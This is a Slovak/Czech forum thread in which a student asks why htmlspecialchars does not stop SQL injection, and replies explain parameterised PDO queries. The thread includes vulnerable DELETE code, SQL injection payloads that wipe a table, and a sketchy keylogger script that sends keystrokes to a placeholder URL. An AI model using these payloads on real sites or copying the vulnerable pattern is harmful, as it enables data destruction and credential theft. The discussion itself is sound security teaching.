Dobrý deń,
profesor mi povedal že moja práca nie je dobrá kvoli tomu, že sa tam vyskytuje SQL injection,
ale mam v každej funkcií ošetrene dáta pomocou htmlspecialchar ale on vyžaduje aby som to písal cez bindValue...
Viete mi vysvetliť rozdiel?
Dobrý deń,
profesor mi povedal že moja práca nie je dobrá kvoli tomu, že sa tam vyskytuje SQL injection,
ale mam v každej funkcií ošetrene dáta pomocou htmlspecialchar ale on vyžaduje aby som to písal cez bindValue...
Viete mi vysvetliť rozdiel?
function jedloVymazat($id)
{
$id = htmlspecialchars($id);
if (is_numeric($id) && !empty($id))
{
$delete = MySQL_vymazat("tabulka","id","$id");
if($delete == 1)
{
$vysledok ='<div class="alert alert-success">Údaje boli upravené.</div>';
}
else
{
$vysledok ='<div class="alert alert-warning">Prepáčte, ale na servery nastala chyba.</div>';
}
}
else
{
$vysledok = '<div class="alert alert-danger">ID hodnota musí byť iba číslo.</div>';
}
return $vysledok;
}
a Vymazat
function MySQL_vymazat($tabulka, $podmienka,$pripojenie)
{
global $pdo;
$SQLprikaz = "DELETE FROM $tabulka";
if (isset($podmienka))
{
$SQLprikaz .= " Where $podmienka";
}
$stmt = $pdo->prepare($SQLprikaz);
$kontrola = $stmt->execute();
return $kontrola;
}
#1 Student
Funkce htmlspecialchars() problém neřeší, jen zasviní databázi znaky, které do ní nepatří.
Metodu bindValue() nepoužívám, na to mi stačí metoda execute(), která je IMHO přehlednější a lépe se s ní pracuje.
Podmínku bych předával zvlášť, tvůj příklad ti snadno nechtěně smaže celou tabulku. Raději použij
if (!isset($podmienka)) {
return false;
}
$SQLprikaz = "DELETE FROM $tabulka WHERE id=?";
$stmt = $pdo->prepare($SQLprikaz); return $stmt->execute([$podmienka]);
Co tam pohledává to ošklivé "global"?
htmlspecialchars - escapuje value pro html
bindValue - escapuje value pro pdo (a nejspis to dela i to execute, ja to resim trochu jinak); nemusis pouzit bindvalue, pokud to escapujes jinym zpusobem, coz se ve skole ale moc nedela
urlencode - escapuje value pro url (dalsi pr jine funkce)
Pouziti
$x = 'xxx</b>yyy';
echo '<b>'.$x.'</b>'; // html injection, B tag se ukonci predcasne
echo '<b>'.htmlspecialchars($x).'</b>';
$y = 'aaa&bbb=1&ccc=2>"';
echo '<a href="stranka.php?bbb=2&aaa='.$y.'">odkaz</a>'; // url + html
//injection, html se ti ukonci nejspis pres > nebo retezec uvozovkou "
echo '<a href="stranka.php?bbb=2&aaa='.htmlspecialchars(urlencode($y)).'">odkaz</a>'
$z = '1 OR 1=1';
$query = 'DELETE FROM tab WHERE id='.$z; // sql injection, smaze ti to vsechny radky tabulky
$zz = '" OR 1=1 OR 1="';
$query = 'DELETE FROM tab WHERE name="'.$zz."'; // sql injection, smaze ti
// to vsechny
DELETE FROM tab WHERE id=1 OR 1=1 // id=1 neplati, 1=1 plati, mezi tim je
//operace OR, podminka je vzdy true, takze delete plati pro vsechny radky
DELETE FROM tab WHERE name="" OR 1=1 OR 1="" // totez, name='' neplati, 1=1
//plati, 1='' neplati, ale mezi podminkami je Or, takze je to rue a opet to
//smaze vsechny radky tabulky
//A kdyz je to SELECT, tak ti tam hacker da takovou podminku, aby to
//zobrazilo tabulku seznamu uzivatelu. Pokud nemas v db hesla sifrovana,
//tak potes kokes
:)
Nekdy je ale pripad, ze tam chces prave mit ten sql dotaz. Jen ho nesmi zadavat uzivatel. Nebo by to mel delat aspon pres heslo.
Ty hacky, to muze byt bud zamerne nebo omylem. Ukonceni </B> se ti tam vloudi spis omylem, ale zamerne bych tam dal jiny kod, treba kod na ukladani prihlasovacich udaju
- zaznamenavej stisk klaves
- odesli kazdych 5s na url
<script>
var x = '';
document.onkeypress = function(event) {x += event.keyCode;};
setInterval('send', 5000);
function send() {if (x!='') $.send('url',{'x':x}, function(data){x='';});}
</script>
#7 Kit
Nerozumim. K cemu konkretne se vyjadrujes?
Jen jsem se pokousel ukazat zpusob pouziti a melo by z nej byt jasnejsi, proc je ten jeho puvodni kod spatne a ze ta funkce se pouziva k uplne necemu jinemu. Osobne mam funkce pro escapovani pojmenovane jako escape. Mozna to obklopim class. Fakt mne v php nebavi, kdyz chci neco escapovat, hledat, jak tu funkci autori pojmenovali :) A v 90% pripadu nemuzu skladat dotaz pres bind ani execute. Bohuzel si zadavatel navymysli takove podminky, ze musim dotaz skladat jako string. Takze pak vyuzivam prave mnou prejmenovane escapeSqlKey, escapeSqlValue. Podobne mam escapeUrlValue, escapeHtmlValue, escapeJsValue, escapeRegExpValue ... (pripadne bez toho value, pac krom sql je to vzdy value :) )
Jo, samozrejme souhlasim s tim, ze escapovani html nepatri do db. Zvlast, kdyz ma omezeni na delku textu, kde proste html entity nepohlidat :) > - ᇁ ↓ kazda ma jinou delku. A pak nevim, jak chce uzivateli rici, kolik znaku muze zadat, kdyz ta entita mu fyzicky text navysi na neurcito :)
Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku